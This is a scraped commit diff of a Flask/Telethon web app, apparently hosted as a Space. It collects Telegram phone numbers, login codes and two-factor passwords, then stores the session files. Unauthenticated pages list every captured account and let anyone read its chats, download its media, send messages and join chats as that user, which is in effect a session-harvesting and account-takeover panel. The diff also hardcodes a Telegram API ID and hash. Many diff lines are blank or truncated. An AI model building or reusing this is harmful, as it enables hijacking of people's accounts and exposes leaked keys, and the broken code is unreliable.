Spaces:
Paused
Paused
Update app.py
Browse files
app.py
CHANGED
|
@@ -3,23 +3,29 @@ import hashlib
|
|
| 3 |
import os
|
| 4 |
import sqlite3
|
| 5 |
from pathlib import Path
|
|
|
|
| 6 |
|
| 7 |
from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for
|
| 8 |
from telethon.sync import TelegramClient
|
| 9 |
-
from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotParticipantError
|
| 10 |
from telethon.tl.functions.messages import ImportChatInviteRequest
|
| 11 |
from telethon.tl.functions.channels import JoinChannelRequest
|
|
|
|
| 12 |
|
| 13 |
app = Flask(__name__)
|
| 14 |
|
| 15 |
-
API_ID = '22328650'
|
| 16 |
-
API_HASH = '20b45c386598fab8028b1d99b63aeeeb'
|
| 17 |
HOST = '0.0.0.0'
|
| 18 |
PORT = 7860
|
| 19 |
SESSION_DIR = 'sessions'
|
| 20 |
DOWNLOAD_DIR = 'downloads'
|
| 21 |
DB_PATH = 'users.db'
|
| 22 |
|
|
|
|
|
|
|
|
|
|
|
|
|
| 23 |
def init_db():
|
| 24 |
with sqlite3.connect(DB_PATH) as conn:
|
| 25 |
c = conn.cursor()
|
|
@@ -27,16 +33,17 @@ def init_db():
|
|
| 27 |
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
| 28 |
telegram_id TEXT UNIQUE,
|
| 29 |
username TEXT,
|
| 30 |
-
phone TEXT,
|
| 31 |
-
session_file TEXT,
|
| 32 |
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
| 33 |
)''')
|
| 34 |
conn.commit()
|
| 35 |
|
| 36 |
-
os.makedirs(SESSION_DIR, exist_ok=True)
|
| 37 |
-
os.makedirs(DOWNLOAD_DIR, exist_ok=True)
|
| 38 |
-
|
| 39 |
async def get_user_client(user_id):
|
|
|
|
|
|
|
|
|
|
|
|
|
| 40 |
with sqlite3.connect(DB_PATH) as conn:
|
| 41 |
c = conn.cursor()
|
| 42 |
c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
|
|
@@ -44,126 +51,163 @@ async def get_user_client(user_id):
|
|
| 44 |
if not result:
|
| 45 |
return None, "User not found"
|
| 46 |
session_file = result[0]
|
|
|
|
| 47 |
client = TelegramClient(session_file, API_ID, API_HASH)
|
| 48 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 49 |
return client, None
|
| 50 |
|
| 51 |
-
|
|
|
|
|
|
|
|
|
|
| 52 |
<!DOCTYPE html>
|
| 53 |
<html lang="en">
|
| 54 |
<head>
|
| 55 |
<meta charset="UTF-8">
|
| 56 |
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 57 |
-
<title>
|
| 58 |
<style>
|
| 59 |
-
body { font-family:
|
| 60 |
-
.container { max-width:
|
| 61 |
-
h1
|
| 62 |
-
.form
|
| 63 |
-
input[type="text"], input[type="password"]
|
| 64 |
-
|
| 65 |
-
|
| 66 |
-
|
| 67 |
-
|
| 68 |
-
|
| 69 |
-
|
| 70 |
-
|
| 71 |
-
|
| 72 |
-
|
| 73 |
-
|
| 74 |
-
.
|
| 75 |
-
.
|
| 76 |
-
.
|
| 77 |
-
.
|
|
|
|
|
|
|
| 78 |
</style>
|
| 79 |
</head>
|
| 80 |
<body>
|
| 81 |
<div class="container">
|
| 82 |
-
<h1>
|
| 83 |
-
<
|
| 84 |
-
|
| 85 |
<input type="text" id="phone" placeholder="Phone number (+1234567890)">
|
| 86 |
<button onclick="startLogin()">Start Login</button>
|
|
|
|
|
|
|
| 87 |
<input type="text" id="code" placeholder="Verification code" style="display:none;">
|
| 88 |
<input type="text" id="password" placeholder="Cloud password" style="display:none;">
|
| 89 |
<button id="submitCode" onclick="submitCode()" style="display:none;">Submit Code</button>
|
| 90 |
<button id="submitPassword" onclick="submitPassword()" style="display:none;">Submit Password</button>
|
| 91 |
</div>
|
| 92 |
-
<div class="
|
| 93 |
-
|
| 94 |
-
|
| 95 |
-
|
| 96 |
-
<tr><th>ID</th><th>Username</th><th>Phone</th><th>Actions</th></tr>
|
| 97 |
-
</thead>
|
| 98 |
-
<tbody>
|
| 99 |
-
{% for user in users %}
|
| 100 |
-
<tr>
|
| 101 |
-
<td>{{ user[0] }}</td>
|
| 102 |
-
<td>{{ user[2] }}</td>
|
| 103 |
-
<td>{{ user[3] }}</td>
|
| 104 |
-
<td>
|
| 105 |
-
<a href="/user/{{ user[0] }}/manage">Manage Account</a>
|
| 106 |
-
</td>
|
| 107 |
-
</tr>
|
| 108 |
-
{% endfor %}
|
| 109 |
-
</tbody>
|
| 110 |
-
</table>
|
| 111 |
</div>
|
| 112 |
</div>
|
| 113 |
<script>
|
| 114 |
let phone = '';
|
| 115 |
let phoneCodeHash = '';
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 116 |
|
| 117 |
async function startLogin() {
|
| 118 |
phone = document.getElementById('phone').value;
|
| 119 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 120 |
method: 'POST',
|
| 121 |
headers: { 'Content-Type': 'application/json' },
|
| 122 |
body: JSON.stringify({ phone, step: 'start' })
|
| 123 |
});
|
| 124 |
const result = await response.json();
|
| 125 |
-
|
| 126 |
-
|
| 127 |
-
|
| 128 |
-
|
| 129 |
-
|
| 130 |
-
|
| 131 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 132 |
}
|
| 133 |
}
|
| 134 |
|
| 135 |
async function submitCode() {
|
| 136 |
const code = document.getElementById('code').value;
|
| 137 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 138 |
method: 'POST',
|
| 139 |
headers: { 'Content-Type': 'application/json' },
|
| 140 |
body: JSON.stringify({ phone, code, phone_code_hash: phoneCodeHash, step: 'code' })
|
| 141 |
});
|
| 142 |
const result = await response.json();
|
| 143 |
-
alert(result.message);
|
| 144 |
if (result.success) {
|
| 145 |
-
|
|
|
|
| 146 |
} else if (result.password_required) {
|
|
|
|
| 147 |
document.getElementById('password').style.display = 'inline';
|
| 148 |
document.getElementById('submitPassword').style.display = 'inline';
|
| 149 |
document.getElementById('submitCode').style.display = 'none';
|
| 150 |
document.getElementById('code').style.display = 'none';
|
|
|
|
|
|
|
| 151 |
}
|
| 152 |
}
|
| 153 |
|
| 154 |
async function submitPassword() {
|
| 155 |
const password = document.getElementById('password').value;
|
| 156 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 157 |
method: 'POST',
|
| 158 |
headers: { 'Content-Type': 'application/json' },
|
| 159 |
body: JSON.stringify({ phone, password, step: 'password' })
|
| 160 |
});
|
| 161 |
const result = await response.json();
|
| 162 |
if (result.success) {
|
| 163 |
-
|
| 164 |
-
location.
|
| 165 |
} else {
|
| 166 |
-
|
| 167 |
}
|
| 168 |
}
|
| 169 |
</script>
|
|
@@ -171,182 +215,490 @@ HTML_TEMPLATE = '''
|
|
| 171 |
</html>
|
| 172 |
'''
|
| 173 |
|
| 174 |
-
|
|
|
|
| 175 |
<!DOCTYPE html>
|
| 176 |
<html lang="en">
|
| 177 |
<head>
|
| 178 |
<meta charset="UTF-8">
|
| 179 |
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 180 |
-
<title>
|
| 181 |
<style>
|
| 182 |
-
body { font-family:
|
| 183 |
-
.container { max-width: 900px; margin: auto; }
|
| 184 |
-
h1
|
| 185 |
-
|
| 186 |
-
|
| 187 |
-
|
| 188 |
-
|
| 189 |
-
|
| 190 |
-
|
| 191 |
-
|
| 192 |
-
|
| 193 |
-
.
|
| 194 |
-
.chat-item:last-child { border-bottom: none; }
|
| 195 |
-
.chat-item a { display: block; color: #fff; text-decoration: none; }
|
| 196 |
-
.chat-item span { display: block; font-size: 0.9em; color: #bbb; }
|
| 197 |
-
.chat-item strong { color: #00ff00; }
|
| 198 |
-
.back-button { margin-top: 20px; text-align: center; }
|
| 199 |
-
.button-group { margin-top: 15px; display: flex; gap: 10px; flex-wrap: wrap; }
|
| 200 |
-
.button-group button { flex-grow: 1; }
|
| 201 |
</style>
|
| 202 |
</head>
|
| 203 |
<body>
|
| 204 |
<div class="container">
|
| 205 |
-
<h1>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 206 |
|
| 207 |
-
|
| 208 |
-
|
| 209 |
-
|
| 210 |
-
|
| 211 |
-
|
| 212 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 213 |
|
| 214 |
-
|
| 215 |
-
|
| 216 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 217 |
</div>
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 218 |
|
| 219 |
-
|
| 220 |
-
|
| 221 |
-
|
| 222 |
-
|
| 223 |
-
|
| 224 |
-
|
| 225 |
-
|
| 226 |
-
|
| 227 |
-
|
| 228 |
-
|
| 229 |
-
|
| 230 |
-
|
| 231 |
-
|
| 232 |
-
|
| 233 |
-
|
| 234 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 235 |
</div>
|
|
|
|
| 236 |
</div>
|
|
|
|
| 237 |
|
| 238 |
-
|
| 239 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 240 |
</div>
|
| 241 |
</div>
|
| 242 |
|
| 243 |
<script>
|
| 244 |
-
|
| 245 |
-
|
| 246 |
-
|
| 247 |
-
|
| 248 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 249 |
method: 'POST',
|
| 250 |
headers: { 'Content-Type': 'application/json' },
|
| 251 |
-
body: JSON.stringify({
|
| 252 |
});
|
| 253 |
const result = await response.json();
|
| 254 |
-
alert(result.message);
|
| 255 |
if (result.success) {
|
| 256 |
-
|
| 257 |
-
|
|
|
|
|
|
|
| 258 |
}
|
| 259 |
-
}
|
| 260 |
-
|
|
|
|
|
|
|
|
|
|
| 261 |
}
|
| 262 |
}
|
| 263 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 264 |
async function joinChat(userId) {
|
| 265 |
const chatIdentifier = document.getElementById('joinChatIdentifier').value;
|
| 266 |
-
|
| 267 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 268 |
method: 'POST',
|
| 269 |
headers: { 'Content-Type': 'application/json' },
|
| 270 |
body: JSON.stringify({ chat_identifier: chatIdentifier })
|
| 271 |
});
|
| 272 |
const result = await response.json();
|
| 273 |
-
|
| 274 |
if (result.success) {
|
| 275 |
document.getElementById('joinChatIdentifier').value = '';
|
| 276 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 277 |
}
|
| 278 |
-
}
|
| 279 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 280 |
}
|
| 281 |
}
|
|
|
|
| 282 |
</script>
|
| 283 |
</body>
|
| 284 |
</html>
|
| 285 |
'''
|
| 286 |
|
| 287 |
-
|
| 288 |
-
<!DOCTYPE html>
|
| 289 |
-
<html lang="en">
|
| 290 |
-
<head>
|
| 291 |
-
<meta charset="UTF-8">
|
| 292 |
-
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
| 293 |
-
<title>Messages in {{ chat_title }}</title>
|
| 294 |
-
<style>
|
| 295 |
-
body { font-family: Arial, sans-serif; background: #1a1a1a; color: #fff; margin: 0; padding: 20px; }
|
| 296 |
-
.container { max-width: 800px; margin: auto; }
|
| 297 |
-
h1 { text-align: center; color: #00ff00; }
|
| 298 |
-
.message-list { background: #222; padding: 10px; max-height: 70vh; overflow-y: auto; border-radius: 3px; margin-top: 15px;}
|
| 299 |
-
.message-item { margin: 10px 0; padding: 8px; background: #3a3a3a; border-radius: 3px; }
|
| 300 |
-
.message-item strong { color: #00ff00; }
|
| 301 |
-
.message-meta { font-size: 0.8em; color: #bbb; margin-bottom: 5px; }
|
| 302 |
-
.message-text { white-space: pre-wrap; word-wrap: break-word; }
|
| 303 |
-
.media-link { display: block; margin-top: 5px; color: #00ffff; }
|
| 304 |
-
.back-button { margin-top: 20px; display: block; text-align: center; }
|
| 305 |
-
</style>
|
| 306 |
-
</head>
|
| 307 |
-
<body>
|
| 308 |
-
<div class="container">
|
| 309 |
-
<h1>Messages in "{{ chat_title }}"</h1>
|
| 310 |
-
<div class="message-list">
|
| 311 |
-
{% if messages %}
|
| 312 |
-
{% for msg in messages %}
|
| 313 |
-
<div class="message-item">
|
| 314 |
-
<div class="message-meta">
|
| 315 |
-
<strong>{{ msg.sender_name }}</strong> ({{ msg.date }})
|
| 316 |
-
</div>
|
| 317 |
-
{% if msg.text %}
|
| 318 |
-
<div class="message-text">{{ msg.text }}</div>
|
| 319 |
-
{% endif %}
|
| 320 |
-
{% if msg.file_name %}
|
| 321 |
-
<a class="media-link" href="/download/{{ msg.file_name }}" download>{{ msg.file_name }} ({{ msg.file_size }})</a>
|
| 322 |
-
{% endif %}
|
| 323 |
-
{% if not msg.text and not msg.file_name %}
|
| 324 |
-
<div class="message-text"><i>(Unsupported media or empty message)</i></div>
|
| 325 |
-
{% endif %}
|
| 326 |
-
</div>
|
| 327 |
-
{% endfor %}
|
| 328 |
-
{% else %}
|
| 329 |
-
<p>No messages found in this chat.</p>
|
| 330 |
-
{% endif %}
|
| 331 |
-
</div>
|
| 332 |
-
<div class="back-button">
|
| 333 |
-
<a href="/user/{{ user_id }}/manage">Back to Account Management</a>
|
| 334 |
-
</div>
|
| 335 |
-
</div>
|
| 336 |
-
</body>
|
| 337 |
-
</html>
|
| 338 |
-
'''
|
| 339 |
|
| 340 |
@app.route('/')
|
| 341 |
def index():
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 342 |
with sqlite3.connect(DB_PATH) as conn:
|
| 343 |
c = conn.cursor()
|
| 344 |
c.execute('SELECT id, telegram_id, username, phone FROM users')
|
| 345 |
users = c.fetchall()
|
| 346 |
-
return render_template_string(
|
| 347 |
|
| 348 |
-
@app.route('/login', methods=['POST'])
|
| 349 |
-
def
|
|
|
|
| 350 |
data = request.json
|
| 351 |
phone = data.get('phone')
|
| 352 |
code = data.get('code')
|
|
@@ -354,8 +706,11 @@ def login():
|
|
| 354 |
phone_code_hash = data.get('phone_code_hash')
|
| 355 |
step = data.get('step')
|
| 356 |
|
|
|
|
|
|
|
|
|
|
| 357 |
session_hash = hashlib.md5(phone.encode()).hexdigest()
|
| 358 |
-
session_file_path = f"{
|
| 359 |
|
| 360 |
async def _login_async():
|
| 361 |
client = TelegramClient(session_file_path, API_ID, API_HASH)
|
|
@@ -367,10 +722,11 @@ def login():
|
|
| 367 |
me = await client.get_me()
|
| 368 |
with sqlite3.connect(DB_PATH) as conn:
|
| 369 |
c = conn.cursor()
|
|
|
|
| 370 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 371 |
(str(me.id), me.username or '', phone, session_file_path))
|
| 372 |
conn.commit()
|
| 373 |
-
result = {'success': True, 'message': 'Already logged in.'}
|
| 374 |
else:
|
| 375 |
sent_code = await client.send_code_request(phone)
|
| 376 |
result = {'success': True, 'message': 'Code sent to your Telegram.', 'phone_code_hash': sent_code.phone_code_hash}
|
|
@@ -386,9 +742,11 @@ def login():
|
|
| 386 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 387 |
(str(me.id), me.username or '', phone, session_file_path))
|
| 388 |
conn.commit()
|
| 389 |
-
result = {'success': True, 'message': 'Logged in successfully.'}
|
| 390 |
except SessionPasswordNeededError:
|
| 391 |
result = {'success': False, 'password_required': True, 'message': 'Cloud password required.'}
|
|
|
|
|
|
|
| 392 |
except Exception as e:
|
| 393 |
result = {'success': False, 'message': f'Error during code submission: {e}.'}
|
| 394 |
elif step == 'password':
|
|
@@ -400,7 +758,9 @@ def login():
|
|
| 400 |
c.execute('INSERT OR REPLACE INTO users (telegram_id, username, phone, session_file) VALUES (?, ?, ?, ?)',
|
| 401 |
(str(me.id), me.username or '', phone, session_file_path))
|
| 402 |
conn.commit()
|
| 403 |
-
result = {'success': True, 'message': 'Logged in with cloud password.'}
|
|
|
|
|
|
|
| 404 |
except Exception as e:
|
| 405 |
result = {'success': False, 'message': f'Error during password submission: {e}.'}
|
| 406 |
else:
|
|
@@ -408,14 +768,15 @@ def login():
|
|
| 408 |
except Exception as e:
|
| 409 |
result = {'success': False, 'message': f'An unexpected error occurred: {e}.'}
|
| 410 |
finally:
|
| 411 |
-
if client
|
| 412 |
await client.disconnect()
|
| 413 |
return result
|
| 414 |
|
| 415 |
return jsonify(asyncio.run(_login_async()))
|
| 416 |
|
| 417 |
-
@app.route('/user/<int:user_id>/
|
| 418 |
-
def
|
|
|
|
| 419 |
with sqlite3.connect(DB_PATH) as conn:
|
| 420 |
c = conn.cursor()
|
| 421 |
c.execute('SELECT id, telegram_id, username, phone, session_file FROM users WHERE id = ?', (user_id,))
|
|
@@ -429,115 +790,140 @@ def manage_user_account(user_id):
|
|
| 429 |
'phone': user_data[3],
|
| 430 |
'session_file': user_data[4]
|
| 431 |
}
|
|
|
|
| 432 |
|
|
|
|
|
|
|
|
|
|
| 433 |
async def _get_chats_async():
|
| 434 |
client, error = await get_user_client(user_id)
|
| 435 |
if error:
|
| 436 |
-
return
|
| 437 |
|
| 438 |
chats_info = []
|
| 439 |
try:
|
| 440 |
async for dialog in client.iter_dialogs():
|
| 441 |
chat_type = 'User'
|
| 442 |
-
participants = 'N/A'
|
| 443 |
if dialog.is_channel:
|
| 444 |
chat_type = 'Channel'
|
| 445 |
-
if hasattr(dialog.entity, 'participants_count'):
|
| 446 |
-
participants = dialog.entity.participants_count
|
| 447 |
elif dialog.is_group:
|
| 448 |
chat_type = 'Group'
|
| 449 |
-
if hasattr(dialog.entity, 'participants_count'):
|
| 450 |
-
participants = dialog.entity.participants_count
|
| 451 |
|
|
|
|
|
|
|
|
|
|
|
|
|
| 452 |
chats_info.append({
|
| 453 |
'id': dialog.id,
|
| 454 |
'title': dialog.title,
|
| 455 |
'type': chat_type,
|
| 456 |
-
'
|
| 457 |
})
|
|
|
|
| 458 |
except Exception as e:
|
| 459 |
-
return
|
| 460 |
finally:
|
| 461 |
if client and client.is_connected():
|
| 462 |
await client.disconnect()
|
| 463 |
-
return chats_info, None
|
| 464 |
-
|
| 465 |
-
chats, error = asyncio.run(_get_chats_async())
|
| 466 |
-
if error:
|
| 467 |
-
return f"Failed to load chats: {error}", 500
|
| 468 |
|
| 469 |
-
return
|
| 470 |
|
| 471 |
-
@app.route('/user/<int:user_id>/chat/<int:peer_id>/messages')
|
| 472 |
-
def
|
|
|
|
| 473 |
async def _get_messages_async():
|
| 474 |
client, error = await get_user_client(user_id)
|
| 475 |
if error:
|
| 476 |
-
return
|
| 477 |
|
| 478 |
-
|
| 479 |
-
chat_title = "Unknown Chat"
|
| 480 |
try:
|
| 481 |
entity = await client.get_entity(peer_id)
|
| 482 |
-
|
| 483 |
-
|
| 484 |
-
async for message in client.iter_messages(entity, reverse=
|
| 485 |
msg_data = {
|
| 486 |
'text': message.text,
|
| 487 |
-
'date':
|
| 488 |
-
'sender_name': 'Unknown'
|
|
|
|
| 489 |
}
|
| 490 |
|
| 491 |
if message.sender:
|
| 492 |
-
if message.sender
|
| 493 |
msg_data['sender_name'] = message.sender.first_name
|
| 494 |
if message.sender.last_name:
|
| 495 |
msg_data['sender_name'] += f" {message.sender.last_name}"
|
| 496 |
-
|
| 497 |
-
|
| 498 |
-
elif
|
| 499 |
msg_data['sender_name'] = message.sender.title
|
|
|
|
|
|
|
|
|
|
|
|
|
| 500 |
|
| 501 |
if message.media:
|
| 502 |
-
|
| 503 |
-
|
| 504 |
-
|
| 505 |
-
|
| 506 |
-
|
| 507 |
-
|
| 508 |
-
|
| 509 |
-
|
| 510 |
-
|
| 511 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 512 |
except Exception as e:
|
| 513 |
-
return
|
| 514 |
finally:
|
| 515 |
if client and client.is_connected():
|
| 516 |
await client.disconnect()
|
| 517 |
-
return
|
| 518 |
|
| 519 |
-
|
| 520 |
-
if error:
|
| 521 |
-
return f"Failed to load messages: {error}", 500
|
| 522 |
-
|
| 523 |
-
return render_template_string(CHAT_MESSAGES_TEMPLATE, user_id=user_id, chat_title=chat_title, messages=messages)
|
| 524 |
|
| 525 |
@app.route('/download/<filename>')
|
| 526 |
def download_file(filename):
|
|
|
|
| 527 |
return send_from_directory(DOWNLOAD_DIR, filename)
|
| 528 |
|
| 529 |
-
@app.route('/
|
| 530 |
-
def
|
|
|
|
| 531 |
data = request.json
|
| 532 |
-
chat_id_or_username = data.get('chat_id')
|
| 533 |
message_content = data.get('message')
|
| 534 |
|
|
|
|
|
|
|
|
|
|
| 535 |
async def _send_message_async():
|
| 536 |
client, error = await get_user_client(user_id)
|
| 537 |
if error:
|
| 538 |
return {'success': False, 'message': error}
|
| 539 |
try:
|
| 540 |
-
await client.send_message(
|
| 541 |
return {'success': True, 'message': 'Message sent successfully.'}
|
| 542 |
except Exception as e:
|
| 543 |
return {'success': False, 'message': str(e)}
|
|
@@ -548,30 +934,38 @@ def send_message(user_id):
|
|
| 548 |
result = asyncio.run(_send_message_async())
|
| 549 |
return jsonify(result)
|
| 550 |
|
| 551 |
-
@app.route('/
|
| 552 |
-
def
|
|
|
|
| 553 |
data = request.json
|
| 554 |
chat_identifier = data.get('chat_identifier')
|
| 555 |
|
|
|
|
|
|
|
|
|
|
| 556 |
async def _join_chat_async():
|
| 557 |
client, error = await get_user_client(user_id)
|
| 558 |
if error:
|
| 559 |
return {'success': False, 'message': error}
|
| 560 |
try:
|
| 561 |
if 't.me/joinchat/' in chat_identifier or 't.me/+' in chat_identifier:
|
|
|
|
| 562 |
invite_hash = chat_identifier.split('/')[-1]
|
| 563 |
if '+' in invite_hash:
|
| 564 |
invite_hash = invite_hash.replace('+', '')
|
| 565 |
await client(ImportChatInviteRequest(invite_hash))
|
| 566 |
else:
|
|
|
|
| 567 |
if not chat_identifier.startswith('@') and not chat_identifier.isdigit():
|
| 568 |
chat_identifier = '@' + chat_identifier
|
| 569 |
await client(JoinChannelRequest(chat_identifier))
|
| 570 |
-
return {'success': True, 'message': f'Successfully joined chat: {chat_identifier}.'}
|
| 571 |
except FloodWaitError as e:
|
| 572 |
return {'success': False, 'message': f'Too many requests. Please try again in {e.seconds} seconds.'}
|
| 573 |
except UserNotParticipantError:
|
| 574 |
return {'success': False, 'message': f'User is already a participant of {chat_identifier} or chat does not exist/is private.'}
|
|
|
|
|
|
|
| 575 |
except Exception as e:
|
| 576 |
return {'success': False, 'message': f'Error joining chat {chat_identifier}: {e}.'}
|
| 577 |
finally:
|
|
@@ -581,6 +975,42 @@ def join_chat(user_id):
|
|
| 581 |
result = asyncio.run(_join_chat_async())
|
| 582 |
return jsonify(result)
|
| 583 |
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 584 |
if __name__ == '__main__':
|
| 585 |
init_db()
|
| 586 |
-
app.run(host=HOST, port=PORT)
|
|
|
|
| 3 |
import os
|
| 4 |
import sqlite3
|
| 5 |
from pathlib import Path
|
| 6 |
+
from datetime import datetime
|
| 7 |
|
| 8 |
from flask import Flask, jsonify, request, render_template_string, send_from_directory, redirect, url_for
|
| 9 |
from telethon.sync import TelegramClient
|
| 10 |
+
from telethon.errors import SessionPasswordNeededError, FloodWaitError, UserNotParticipantError, PeerFloodError
|
| 11 |
from telethon.tl.functions.messages import ImportChatInviteRequest
|
| 12 |
from telethon.tl.functions.channels import JoinChannelRequest
|
| 13 |
+
from telethon.tl.types import User, Channel, Chat, MessageMediaPhoto, MessageMediaDocument, MessageMediaWebPage, MessageMediaUnsupported, MessageMediaPoll, MessageMediaGeo, MessageMediaContact
|
| 14 |
|
| 15 |
app = Flask(__name__)
|
| 16 |
|
| 17 |
+
API_ID = '22328650' # Replace with your actual API ID
|
| 18 |
+
API_HASH = '20b45c386598fab8028b1d99b63aeeeb' # Replace with your actual API Hash
|
| 19 |
HOST = '0.0.0.0'
|
| 20 |
PORT = 7860
|
| 21 |
SESSION_DIR = 'sessions'
|
| 22 |
DOWNLOAD_DIR = 'downloads'
|
| 23 |
DB_PATH = 'users.db'
|
| 24 |
|
| 25 |
+
# Ensure directories exist
|
| 26 |
+
os.makedirs(SESSION_DIR, exist_ok=True)
|
| 27 |
+
os.makedirs(DOWNLOAD_DIR, exist_ok=True)
|
| 28 |
+
|
| 29 |
def init_db():
|
| 30 |
with sqlite3.connect(DB_PATH) as conn:
|
| 31 |
c = conn.cursor()
|
|
|
|
| 33 |
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
| 34 |
telegram_id TEXT UNIQUE,
|
| 35 |
username TEXT,
|
| 36 |
+
phone TEXT NOT NULL UNIQUE,
|
| 37 |
+
session_file TEXT NOT NULL,
|
| 38 |
created_at TIMESTAMP DEFAULT CURRENT_TIMESTAMP
|
| 39 |
)''')
|
| 40 |
conn.commit()
|
| 41 |
|
|
|
|
|
|
|
|
|
|
| 42 |
async def get_user_client(user_id):
|
| 43 |
+
"""
|
| 44 |
+
Connects to a TelegramClient for the given user_id.
|
| 45 |
+
Ensures the client is connected before returning.
|
| 46 |
+
"""
|
| 47 |
with sqlite3.connect(DB_PATH) as conn:
|
| 48 |
c = conn.cursor()
|
| 49 |
c.execute('SELECT session_file FROM users WHERE id = ?', (user_id,))
|
|
|
|
| 51 |
if not result:
|
| 52 |
return None, "User not found"
|
| 53 |
